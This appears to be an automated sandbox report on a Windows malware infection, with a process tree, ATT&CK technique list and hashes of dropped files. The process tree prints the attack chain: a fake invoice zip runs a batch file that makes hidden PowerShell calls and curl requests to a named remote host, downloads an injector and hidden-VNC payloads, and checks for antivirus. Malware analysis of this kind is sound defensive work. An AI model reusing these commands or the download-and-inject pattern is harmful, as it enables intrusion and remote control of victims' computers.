      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5040,i,683327263607860945,17274754483031908320,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:14
      4⤵
      PID:1460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=de --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4712,i,7461704938415131091,18068306263869799366,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:14
      4⤵
      PID:576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=de --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5200,i,1798992614610108498,14935499246443299258,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
      4⤵
      PID:4460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,16292228537101346763,6963465905183863956,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
      4⤵
      PID:4472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,15788802669993648201,14651574021787462827,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:14
      4⤵
      PID:2768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1228,i,8032328173218136217,11057073286755130596,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=1236 /prefetch:14
      4⤵
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1232,i,8200974010287261334,2664163479587971057,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
      4⤵
      PID:3328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1364,i,7422912654189546993,8961946712836716913,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
      4⤵
      PID:5252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5088,i,17211969942212691189,521339020715713362,2097152 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:1
      4⤵
      PID:2420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=5428,i,12870348356482102350,7081816987206720351,2097152 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
      4⤵
      PID:1512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=de --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,5371764782144839600,4426743079014474095,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:14
      4⤵
      PID:6104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=de --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,13920482283980218159,12604851179686194887,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:14
      4⤵
      PID:4760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6172,i,11183619247539561236,14866912573208652448,2097152 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:9
      4⤵
      PID:5252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags="--ms-user-locale=de_DE --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=6420,i,6875224523653899747,2432071722733064308,2097152 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:15
      4⤵
      PID:712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6904,i,13440283035345499018,13971028052721787077,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:14
      4⤵
      PID:5020
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" shell:::{52205fd8-5dfb-447d-801a-d0b52f2e83e1}
  2⤵
  PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c tar -xOf "C:\Users\Admin\Downloads\DE-3906847.pdf.zip" . > "C:\Users\Admin\AppData\Local\Temp\tmnb331.zip" && tar -xf "C:\Users\Admin\AppData\Local\Temp\tmnb331.zip" -C "C:\Users\Admin\AppData\Local\Temp" settings.ini && type "C:\Users\Admin\AppData\Local\Temp\settings.ini" > "C:\Users\Admin\AppData\Local\Temp\prep.bat" && "C:\Users\Admin\AppData\Local\Temp\prep.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\tar.exe
    tar -xOf "C:\Users\Admin\Downloads\DE-3906847.pdf.zip" .
    3⤵
    PID:2408
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\tmnb331.zip" -C "C:\Users\Admin\AppData\Local\Temp" settings.ini
    3⤵
    PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\prep.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\prep.bat' -ArgumentList 'h ' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5844
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\prep.bat" h "
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3440
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk --connect-timeout 6 --max-time 10 "https://aelcms.com/inv/b.php?s=run&h=lx301644c365dc&c=Admin"
        6⤵
        
        PID:1276
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\curl.exe" -sk --connect-timeout 6 --max-time 10 "https://aelcms.com/inv/b.php?g=1&h=lx301644c365dc&c=Admin"
        6⤵
        Executes a command shell one-liner
        
        PID:4308
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk --connect-timeout 8 --max-time 30 -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rechnung.pdf" "https://aelcms.com/inv/invoice.pdf"
        6⤵
        
        PID:3300
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rechnung.pdf
        6⤵
        
        PID:1176
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3508
      - C:\Windows\system32\findstr.exe
        
        findstr /i "ekrn.exe avp.exe avgnt.exe avastui.exe avguard.exe nod32krn.exe avg.exe"
        6⤵
        
        PID:3620
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=av&h=lx301644c365dc&c=Admin&a=Defender/None"
        6⤵
        
        PID:5100
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq explorer.exe" /fo csv /nh
        6⤵
        Executes a command shell one-liner
        
        PID:3572
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq explorer.exe" /fo csv /nh
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:4996
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sfk --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Temp\pc1.zip" "https://aelcms.com/inv/pc1.zip"
        6⤵
        
        PID:4416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\pc1.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\PyCore' -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4996
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sfk --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\xinj.py" "https://aelcms.com/inv/xinj.py"
        6⤵
        
        PID:2920
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sfk --connect-timeout 10 --max-time 180 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\aa2_x.bin" "https://aelcms.com/inv/aa2_x.bin"
        6⤵
        
        PID:1492
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sfk --connect-timeout 10 --max-time 180 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\av_x.bin" "https://aelcms.com/inv/av_x.bin"
        6⤵
        
        PID:3200
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sfk --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\hvnc_x.bin" "https://aelcms.com/inv/hvnc_x.bin"
        6⤵
        
        PID:3580
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=pre&h=lx301644c365dc&c=Admin&a=Defender/None&p=aa2"
        6⤵
        
        PID:4596
      - C:\Users\Admin\AppData\Local\PyCore\python.exe
        
        "C:\Users\Admin\AppData\Local\PyCore\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\xinj.py" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\aa2_x.bin" aa202d872a2b5c08d78ce761867d1a82 300 aa2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1224
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=pre&h=lx301644c365dc&c=Admin&a=Defender/None&p=av"
        6⤵
        
        PID:4564
      - C:\Users\Admin\AppData\Local\PyCore\python.exe
        
        "C:\Users\Admin\AppData\Local\PyCore\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\xinj.py" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\av_x.bin" 0a3865d6891d9c7a907697b8fc290f32 300 av
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:2008
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=pre&h=lx301644c365dc&c=Admin&a=Defender/None&p=hvnc"
        6⤵
        
        PID:5488
      - C:\Users\Admin\AppData\Local\PyCore\python.exe
        
        "C:\Users\Admin\AppData\Local\PyCore\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\xinj.py" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\hvnc_x.bin" daa0534f42a08721d3b3140338a0908d 300 hvnc
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4244
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=post&h=lx301644c365dc&c=Admin&a=Defender/None&p=launched"
        6⤵
        
        PID:5516
      - C:\Windows\System32\NETSTAT.EXE
        
        "C:\Windows\System32\netstat.exe" -ano
        6⤵
        System Network Connections Discovery
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:4596
      - C:\Windows\system32\findstr.exe
        
        findstr /i "ESTABLISHED"
        6⤵
        
        PID:2804
      - C:\Windows\system32\findstr.exe
        
        findstr /i "4452 45602 3232"
        6⤵
        
        PID:1376
      - C:\Windows\System32\timeout.exe
        
        "C:\Windows\System32\timeout.exe" /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:5540
      - C:\Windows\System32\NETSTAT.EXE
        
        "C:\Windows\System32\netstat.exe" -ano
        6⤵
        System Network Connections Discovery
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3316
      - C:\Windows\system32\findstr.exe
        
        findstr /i "ESTABLISHED"
        6⤵
        
        PID:4240
      - C:\Windows\system32\findstr.exe
        
        findstr /i "4452 45602 3232"
        6⤵
        
        PID:264
      - C:\Windows\System32\timeout.exe
        
        "C:\Windows\System32\timeout.exe" /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:2004

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4424

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2436

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3868

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1788

C:\Windows\System32\DataExchangeHost.exe
C:\Windows\System32\DataExchangeHost.exe -Embedding
1⤵
PID:5408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Connections Discovery

T1049

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3adacf7f-c2d6-4c2e-8328-cfe0ea897edf.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\3adacf7f-c2d6-4c2e-8328-cfe0ea897edf.tmp
Size 60KB
SHA256 81f4ec48a86d9b94e468afcd9fbb5776672c0764db831c2e19b2d201e9933331
MD5 7e3ebe030c5d86e00c67e9988567f11e
SHA1 7f9c62ce6b22a9e2d930de2bc2e13cdf7363cca0
SHA512 9b284d97091c4ccd967ece375b850d8a2c3e8b7595c54f8ff3ecaf90f0a11a84babcace501ab4f246639d24d5cb9cc230bf305629f9fb68b590e36b9967d3df1
SSDEEP 768:TFlK38wgmQdXO5xMIYNa8S5oYklnA+f5V5wSBqe6zCG6Y7nVv6Mx9Wk9aTZcWLJ:/K3NPTWRdA+fWSYjzCYkMKkAnl
TLSH
T1C8535AF999D7997BD8AD5783533D6E029EBCD123B1649894F7980E9CCC921BFD302810
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4cee969c-ccf9-4dfb-8607-211b4b0e15dd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\4cee969c-ccf9-4dfb-8607-211b4b0e15dd.tmp
Size 38KB
SHA256 e5613ae597bfba6f076b9081ad581b69197fd6e6b8ae65e1db836b8276d934f6
MD5 91daa75b70fba6a200c97215c7305286
SHA1 7bd7fa2458772793b20884c89efeec6f860b925a
SHA512 39bd34d007387d70bf052ce23b0fd0e1ea03fa620bc9397d05ff3a49950ec67d8ba9e5bb78d072edcf95e8aaf08219888489149cad3b2d40d0c5f1b9731bec52
SSDEEP 768:dP/UxvxjgC+23gQSO5EaasxMIYNa8S5oYklnALiSH8L4:0Zj3+23XxxPTWRdAOS04
TLSH
T13803C03A9994AC739CF6A3C4721E6357EEF45223D0C56AE849EC1F1D06CB6BE4303852
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6194e03a-a6eb-43fb-a0ff-504a071fc2b3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\6194e03a-a6eb-43fb-a0ff-504a071fc2b3.tmp
Size 36KB
SHA256 eac38b9bcb11ba2d276a974fc8c037f671a503bf5a689e165e4ceac58cf124dc
MD5 c1dafab2b6cc82c0576c1f7ea33917cd
SHA1 ef901db423aea69f0c2a4e86d968e2633c6cb7cb
SHA512 9a912ee6e3a23cff68f18469138d682a379d68492cb7379664998755b1f5b7d0937b5bed58689acf5f75054e02482972adc866b2913c8be29bd76b211593a271
SSDEEP 768:vK3rPKSO5EaoMIYNa8S5oYklnAd6Mx9WkhaTZcWLJ:vK36xiTWRdA0MKkUnl
TLSH
T14AF2A03DDCA46D7B88FEB784620E2717AEE45237D0A41998DBEC0B5D41A75AEB303811
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

636cd745-aaff-483b-9d91-13569b50c09b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\636cd745-aaff-483b-9d91-13569b50c09b.tmp
Size 78KB
SHA256 8fb6566e1feb0a62d4318e2d875a08d4e9d191fc7ebd9128a2db6f99a9403383
MD5 8f1059938ef665e1f9b4fca1544244fc
SHA1 c54538b8c802228b7b1e5bc1f11d769a6ab759c5
SHA512 d14f5795ee1d257c1ad13c194c084d125845b2535a605da6a58ec3f82c7ff48b2c67b5f6983796bf7a1fcbe3b14f68298cb5ca824e30f6a569c07eb452a5fa2e
SSDEEP 1536:iK34HTWRdA+fWSYjzCYp4bKE2ed3ScynKanl:L4H6w+fYCDKJekvNl
TLSH
T16D838DF99DD7953BD89E5787533D2E0299BCC123B0A89994F7950E9CCC924BFE302821
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

674ea1be-b99e-419a-8a69-4e893bf30a3d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\674ea1be-b99e-419a-8a69-4e893bf30a3d.tmp
Size 34KB
SHA256 0115252fce593a16321a1d205876bc968413c91645b644c3e971187421c5aa04
MD5 e588e1fbebf1885cb507d7882091db66
SHA1 b17990de6a0988bec3dcd8d51963544a8c3b12b2
SHA512 2fd3c77f015dfe5a31a9cf06faa45de71b02425befa38779e9715819bde168b886f176e69e7137a83a5e767e2079e31f73de1193dbc83069914c8c53a92b2546
SSDEEP 768:GK3rPKSO5EaaKMIYNa8S5oYklnAdiioaTZcWLJ:GK36x7TWRdAIi9nl
TLSH
T1FAF2BF35A995AD638CEA93C4B30B3793BEE06233D4C40ED8D9E95B6D01C72AF1717816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

74f714b2-4fec-44c9-a728-f5b3f4530cad.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\74f714b2-4fec-44c9-a728-f5b3f4530cad.tmp
Size 38KB
SHA256 5b756504b950509f8e9f870fa31fb4abf9ababc2b6202a8c73e0ceed9608712f
MD5 855308178439b12665aa097b755f8544
SHA1 250a11670dacc420465ddd58aec99db67039b769
SHA512 04d99e051a112e59f9356ca488538210cb88b6f1869fbcd5b66690020e998cdb498c86270b69a081b60678d3e1132d2de70c631321426c88bddb46d5d8cfe1d6
SSDEEP 768:56K37DKSO5EaanMIYNa8S5oYklnA+FM/m6oaTZc4Lh:kK3GxSTWRdAAKm695V
TLSH
T1DF03AF3CDC64597F88EEB784620E2726AEE45237D0B40998DBD90B5DC1B75AEF303825
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

75892f08-5509-431f-a664-10af4932fbd6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\75892f08-5509-431f-a664-10af4932fbd6.tmp
Size 61KB
SHA256 330a0bfc01860769e7e814657add07f3ac3a85fd583d5ed9854216195e769bbd
MD5 b4828815bc09ea829290b81073e02678
SHA1 1f47f2da977b44aad8cc45b271010126805945ae
SHA512 c13d0b9da61a8ecd7362a3067c00126c5eea43d81e0b9a1cd41c26b4cf5aad426514275367afd8d5fdfe0d021076976baf3e7fe21f9535f9642bb3bce40ab63d
SSDEEP 768:gFlK38wgmHdXO5mMIYNa8S5oYklnA+f5V5wSBqe6zCG6Y7nVvrnx9WpaTZcWLJ:uK3EMTWRdA+fWSYjzCY5nK8nl
TLSH
T10A535BF999D7997BD8AD5783633D6E129EBCD123B1A45894F7980E4CCC921BFE302810
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9cbb7de9-c2c4-4002-a277-e680acb979ce.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9cbb7de9-c2c4-4002-a277-e680acb979ce.tmp
Size 34KB
SHA256 f94b62ecffa727ba1c490ea7ba41ef870b22ccb007449c3bdd51c61f9efc8e6f
MD5 142c90ec74a8453cd432fd4e9e8d1198
SHA1 7c964a46da82d9f3005a6b572fddf1a5a3033902
SHA512 cbbad639682d5aaec386e8727a574c217f88ab61029e5f67435ccbe12942e34ad951a7654b678b80feb68617306025cf263dee952d4f2c1e7b641f875e7f1d00
SSDEEP 768:F6K3rPKSO5EaaKMIYNa8S5oYklnAdiioaTZcWLJ:wK36x7TWRdAIi9nl
TLSH
T1B1F2BF35A995AD638CEA93C4B30B3793BEE06233D4C40ED8D9E95B6D01C72AF1717816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9f42ff98-627f-460a-963e-b6d3a850c1ba.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9f42ff98-627f-460a-963e-b6d3a850c1ba.tmp
Size 34KB
SHA256 9f2f26df3ef9b16c5b5dac6feccf653b67dd99f626e2db6a27c1fc5b1f9634ac
MD5 fdc91466fea13dd083156fdf24e6f1df
SHA1 3be8cf885bd78b5c3a4a37066dc7f03a9bf13a27
SHA512 14ff9484620c4bacf138ac839863a52d33c2651b672830abadc96f71dcbeeb8c8f8cea6d4a894820397fdcc39b3777193c7543fe2aa9c8b6ed75f8788a7057f2
SSDEEP 768:5YK372KSO5EaanMIYNa8S5oYklnA+ioaTZc4Lh:2K37xSTWRdAh95V
TLSH
T1DEF2BF35A8A5AD778CE693C0B20B3753BEE09223D5C81AD4D9ED1B6D02CB2FE5317815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 aa204e7f585c1f2b64ec2dfe226fcda3dd40e2d6c7acaecb8bc39c51bf5021a2
MD5 82ef5ef3fd97f3d79a47f09529d45307
SHA1 4d70248d33884063e95777b4e6e0d998931440a1
SHA512 a3e3e08187ec16facc64907edae849970f4fffaceb0ff69b6b9421c352de4ae4396f6c7d28c814160c616bf604747c73d4cf8a04f10f2fc8fa4a07c14210288d
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P73:fwUQC5VwBIiElEd2K57P73
TLSH
T1F8B3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4945E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 84d025c8484a1ba1eae075fe4fb60ee1013d5e3c0fe4757f9d23c77a5ecf4bff
MD5 40a03f8f45ceb83458e7ff6718e8114c
SHA1 3aee2deed85e7e1b8a1a9090347606288ce5f90c
SHA512 011f7c1ff606c9271e176c099ac19361c51f6a3eb7ee8dae4e0bead781595a3fa38a006247688a203ba11818d1de1b9066033932d5d22ba79d5a19f921cf6159
TLSH
T164D02B316CDD4D23C08CA27C0056004117617400FE10404011211048080824142823AD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b1f77c1536b53020223fd5a3ca1bcba9423c693141f0f852accaf3d0805bfd52
MD5 218c630edf3e6d2502d7aa64c8842147
SHA1 88268478d9c758c4999e1c97477fc91dc323ac20
SHA512 ececc5df51363d6b4ef10283d37143cfa1d00de044c5b97a8418c1951e950ba2120426ec58b84fc4ae324eb84b701dc91c9234ea76c034881d9b56a254d87891
TLSH
T1E9D0801138573EBDC15EB275455455405754DB53E610151515171D18495C14358D1FFC
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6b696e9605d6078fdcafa34a1e0158139cc5801390280948ae6c3e11f6fe2f90
MD5 4b827a76070d0ab846229b065d870183
SHA1 20d94af05ca769daebf4ce28cab98473081e9f0b
